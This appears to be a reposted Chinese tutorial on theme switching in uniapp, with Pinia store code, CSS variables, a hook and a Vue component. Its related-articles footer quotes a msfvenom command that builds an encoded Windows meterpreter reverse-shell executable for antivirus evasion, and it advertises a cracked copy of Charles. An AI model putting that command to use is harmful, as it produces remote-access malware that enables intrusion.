uniapp主題切換功能,適配H5、小程序

實現方法

方法性能消耗維護成本適用場景
內聯樣式較高小程序
CSS變量+屬性選擇器H5
混合方案中等跨平臺項目

優勢特點

  1. 性能優化:
    1. H5端使用CSS原生變量切換
    2. 小程序端使用高效樣式字符串生成
    3. 切換動畫流暢
  2. 維護性提升
    1. 主題配置集中管理
    2. 新增主題只需要拓展vars對象

使用pinia管理主題

第一步、定義主題和CSS變量

state: () => {return {mode: uni.getStorageSync('theme') || 'light',vars: {light: { '--primary': '#007AFF', '--bg': '#FFFFFF' },dark: { '--primary': '#0BB640', '--bg': '#1A1A1A' },},}
},

第二步、實現主題切換方法

  actions: {// 統一切換入口toggle(themeMode) {// 判斷是否傳遞主題,如果沒有則在dark和light之間切換if (themeMode) {this.mode = themeMode} else {this.mode = this.mode === 'light' ? 'dark' : 'light'}// 本地存儲uni.setStorageSync('theme', this.mode)},}

第三步、實現原生組件適配

  actions: {// 原生組件適配updateNative() {// 判斷終端類型const isMP = process.env.UNI_PLATFORM?.startsWith('mp-')const vars = this.vars[this.mode]if (isMP) {// 設置頂部導航欄樣式uni.setNavigationBarColor({backgroundColor: vars['--bg'],frontColor: this.mode === 'dark' ? '#ffffff' : '#000000',})// code……}},}

第四步、H5根屬性更新

actions: {// H5根屬性更新updateRootAttribute() {const isH5 = process.env.UNI_PLATFORM === 'h5'if (isH5) {// 更新HTML中的data-theme屬性標識document.documentElement.setAttribute('data-theme', this.mode)}},
},

完整代碼

import { defineStore } from 'pinia'export const useThemeStore = defineStore('theme', {state: () => {return {mode: uni.getStorageSync('theme') || 'light',vars: {light: { '--primary': '#007AFF', '--bg': '#FFFFFF' },dark: { '--primary': '#0BB640', '--bg': '#1A1A1A' },},}},actions: {// 統一切換入口toggle(themeMode) {if (themeMode) {this.mode = themeMode} else {this.mode = this.mode === 'light' ? 'dark' : 'light'}uni.setStorageSync('theme', this.mode)// 多端樣式更新this.updateNative()// #ifdef H5this.updateRootAttribute()// #endif},// 原生組件適配updateNative() {const isMP = process.env.UNI_PLATFORM?.startsWith('mp-')const vars = this.vars[this.mode]if (isMP) {uni.setNavigationBarColor({backgroundColor: vars['--bg'],frontColor: this.mode === 'dark' ? '#ffffff' : '#000000',})}},// H5根屬性更新updateRootAttribute() {const isH5 = process.env.UNI_PLATFORM === 'h5'if (isH5) {document.documentElement.setAttribute('data-theme', this.mode)}},},
})

定義CSS變量

定義CSS變量,H5中使用

/* 多端兼容方案 */
:root {// 默認主題(編譯時注入小程序)--primary: #007aff;--bg: #ffffff;
}// H5動態主題(運行時切換)
@media all {[data-theme='light'] {--primary: #007aff;--bg: #ffffff;}[data-theme='dark'] {--primary: #0bb640;--bg: #1a1a1a;}
}

在App.vue中導入使用

<style lang="scss">
@import '@/styles/index.scss';
</style>

創建一個Hook

通過Hook來管理主題的切換、樣式格式化等,避免重復導入Store

import { computed } from 'vue'
import { useThemeStore } from '@/stores/theme'export const useTheme = () => {const themeStore = useThemeStore()// 響應式主題變量const themeVars = computed(() => {const result = {// 小程序端需要轉換的樣式mpStyle: null,// H5數據屬性dataTheme: themeStore.mode,}if (isMP.value) {result.mpStyle = Object.entries(themeStore.vars[themeStore.mode]).map(([k, v]) => `${k}:${v}`).join(';')}return result})const isMP = computed(() => process.env.UNI_PLATFORM?.startsWith('mp-'))return {isMP,toggle: themeStore.toggle, // 切換方法currentMode: computed(() => themeStore.mode), // 當前模式themeVars, // 樣式綁定對象}
}

在組件中使用

最主要的代碼是::style="{ ...themeVars.mpStyle }",這樣就可以實現在小程序主題切換時變量自動更新

<template><view class="container" :style="{ ...themeVars.mpStyle }"><view class="w-150px box"><text>主題切換測試</text><text class="iconfont icon-sousuo"></text><button type="primary" @tap="() => toggle()">切換主題</button></view></view>
</template>
<script setup>
import { useTheme } from '@/Hooks/useTheme'const { themeVars, toggle } = useTheme()
</script>
<style lang="scss" scoped>
.container {.box {background-color: var(--bg);font-size: 18px;font-weight: 500;line-height: 32px;color: var(--primary);}
}
</style>

主題初始化

在App.vue文件中添加如下代碼

onLaunch(() => {// 主題初始化const savedTheme = uni.getStorageSync('theme')if (savedTheme) {themeStore.toggle(savedTheme)}
})

優化拓展

添加transition

在css或scss文件中添加如下代碼,使主題切換時更加流暢的過渡,避免生硬切換

* {transition: background-color 0.3s, background 0.3s, color 0.3s;
}

監聽系統主題變化

在App.vue文件中使用uni.onThemeChange監聽系統主題變化,并同步小程序/H5主題變化

onLaunch(() => {// 監聽系統主題變化uni.onThemeChange(({ theme }) => {const systemTheme = theme === 'dark' ? 'dark' : 'light'themeStore.toggle(systemTheme)})
})

新增主題?

如果想要新增主題,只需要在stores/theme.jsstyle/index.scss文件中添加對應主題的CSS變量,theme.js中定義小程序的主題,index.scss定義H5的主題,如:

state: () => {return {vars: {light: { '--primary': '#007AFF', '--bg': '#FFFFFF' },dark: { '--primary': '#0BB640', '--bg': '#1A1A1A' },red: {// ……新變量}},}
},
// H5動態主題(運行時切換)
@media all {[data-theme='light'] {--primary: #007aff;--bg: #ffffff;}[data-theme='dark'] {--primary: #0bb640;--bg: #1a1a1a;}[data-theme='red'] {/* ……新變量 */}
}

注意事項

  1. :root選擇器:用于匹配文檔的根元素(在 HTML 文檔中即 標簽)。它是定義全局 CSS 變量的最佳位置,尤其在主題切換場景中發揮關鍵作用。
  2. @media all媒體查詢:所有設備上都生效
  3. 請不要將index.scss中的代碼放到uni.scss中,這樣可能導致切換主題時不生效

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73507.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73507.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73507.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

線程未關閉導致資源泄漏

文章目錄 資源泄漏&#xff08;線程未關閉&#xff09;問題描述錯誤實現優化原理正確實現優化原理 資源泄漏&#xff08;線程未關閉&#xff09; 問題描述 應用程序啟動時創建線程池處理任務&#xff0c;但未在應用關閉時正確關閉線程池。 現象&#xff1a; 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件&#xff1a; 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…

如何在 Postman 中發送 PUT 請求?

在 Postman 中發送 PUT 請求的步驟相對簡單&#xff0c;包括新建接口、選擇 PUT 方法、填寫 URL 和參數等幾個主要步驟。 Postman 發送 put 請求教程

charles抓包軟件免費使用教程

本文將給大家介紹Charles破解教程&#xff0c;支持Windows和Mac系統&#xff0c;操作簡單&#xff0c;永久免費使用。同時&#xff0c;我們也會提到另一款強大的抓包工具——SniffMaster&#xff08;抓包大師&#xff09;&#xff0c;它在網絡調試和數據包分析方面同樣表現出色…

卷積神經網絡 - 參數學習

本文我們通過兩個簡化的例子&#xff0c;展示如何從前向傳播、損失計算&#xff0c;到反向傳播推導梯度&#xff0c;再到參數更新&#xff0c;完整地描述卷積層的參數學習過程。 一、例子一 我們構造一個非常簡單的卷積神經網絡&#xff0c;其結構僅包含一個卷積層和一個輸出…

.NET三層架構詳解

.NET三層架構詳解 文章目錄 .NET三層架構詳解引言什么是三層架構表示層&#xff08;Presentation Layer&#xff09;業務邏輯層&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;數據訪問層&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三層架構…

Redis實戰常用二、緩存的使用

一、什么是緩存 在實際開發中,系統需要"避震器"&#xff0c;防止過高的數據訪問猛沖系統,導致其操作線程無法及時處理信息而癱瘓. 這在實際開發中對企業講,對產品口碑,用戶評價都是致命的。所以企業非常重視緩存技術; 緩存(Cache)&#xff1a;就是數據交換的緩沖區&…

STM32八股【2】-----ARM架構

1、架構包含哪幾部分內容 寄存器處理模式流水線MMU指令集中斷FPU總線架構 2、以STM32為例進行介紹 2.1 寄存器 寄存器名稱作用R0-R3通用寄存器用于數據傳遞、計算及函數參數傳遞&#xff1b;R0 也用于存儲函數返回值。R4-R12通用寄存器用于存儲局部變量&#xff0c;減少頻繁…

effective Java 學習筆記(第二彈)

effective Java 學習筆記&#xff08;第一彈&#xff09; 整理自《effective Java 中文第3版》 本篇筆記整理第3&#xff0c;4章的內容。 重寫equals方法需要注意的地方 自反性&#xff1a;對于任何非空引用 x&#xff0c;x.equals(x) 必須返回 true。對稱性&#xff1a;對于…

mac命令行快捷鍵

光標移動 Ctrl A: 將光標移動到行首。Ctrl E: 將光標移動到行尾。Option 左箭頭: 向左移動一個單詞。Option 右箭頭: 向右移動一個單詞。 刪除和修改 Ctrl K: 刪除從光標到行尾的所有內容。Ctrl U: 刪除從光標到行首的所有內容。Ctrl W: 刪除光標前的一個單詞。Ctrl …

CentOS 7部署主域名服務器 DNS

1. 安裝 BIND 服務和工具 yum install -y bind bind-utils 2. 配置 BIND 服務 vim /etc/named.conf 修改以下配置項: listen-on port 53 { any; }; # 監聽所有接口allow-query { any; }; # 允許所有設備查詢 3 . 添加你的域名區域配置 …

優化 SQL 語句方向和提升性能技巧

優化 SQL 語句是提升 MySQL 性能的關鍵步驟之一。通過優化 SQL 語句,可以減少查詢時間、降低服務器負載、提高系統吞吐量。以下是優化 SQL 語句的方法、策略和技巧: 一、優化 SQL 語句的方法 1. 使用 EXPLAIN 分析查詢 作用:查看 SQL 語句的執行計劃,了解查詢是如何執行的…

C++ 多線程簡要講解

std::thread是 C11 標準庫中用于多線程編程的核心類&#xff0c;提供線程的創建、管理和同步功能。下面我們一一講解。 一.構造函數 官網的構造函數如下&#xff1a; 1.默認構造函數和線程創建 thread() noexcept; 作用&#xff1a;創建一個 std::thread 對象&#xff0c;但…

Vscode HTML5新增元素及屬性

一、?HTML5 語義化標簽 HTML5 語義化標簽&#xff08;Semantic Elements&#xff09;是一組 ?具有明確含義的 HTML 元素?&#xff0c;通過標簽名稱直接描述其內容或結構的功能&#xff0c;而非僅作為樣式容器&#xff08;如 <div> 或 <span>&#xff09;。它們旨…

【PostgreSQL教程】PostgreSQL 特別篇之 語言接口Python

博主介紹:?全網粉絲22W+,CSDN博客專家、Java領域優質創作者,掘金/華為云/阿里云/InfoQ等平臺優質作者、專注于Java技術領域? 技術范圍:SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大數據、物聯網、機器學習等設計與開發。 感興趣的可…

Three學習入門(四)

9-Three.js 貼圖與材質學習指南 環境準備 <!DOCTYPE html> <html> <head><title>Three.js Texture Demo</title><style> body { margin: 0; } </style> </head> <body><script src"https://cdnjs.cloudflare.…

前端NVM安裝

https://v0.dev/chat/settings 本地啟動環境 1安裝 nvm 2安裝node nvm install v18.19.0 nvm install v20.9.0 nvm use 18 node -v 3安裝 pnpm npm install -g pnpm 或者 npm i -g pnpm 4啟動 代碼 目錄下 執行 pnpm i pnpm run dev 4.1到代碼目錄下 4.2直接cmd…

藍橋杯算法精講:二分查找實戰與變種解析

適合人群&#xff1a;藍橋杯備考生 | 算法競賽入門者 | 二分查找進階學習者 目錄 一、二分查找核心要點 1. 算法思想 2. 適用條件 3. 算法模板 二、藍橋杯真題實戰 例題&#xff1a;分巧克力&#xff08;藍橋杯2017省賽&#xff09; 三、二分查找變種與技巧 1. 查找左邊…

cmd命令查看電腦的CPU、內存、存儲量

目錄 獲取計算機硬件的相關信息的命令分別的功能結果展示結果說明獲取計算機硬件的相關信息的命令 wmic cpu get name wmic memorychip get capacity wmic diskdrive get model,size,mediaType分別的功能 獲取計算機中央處理器(CPU)的名稱 獲取計算機內存(RAM)芯片的容量…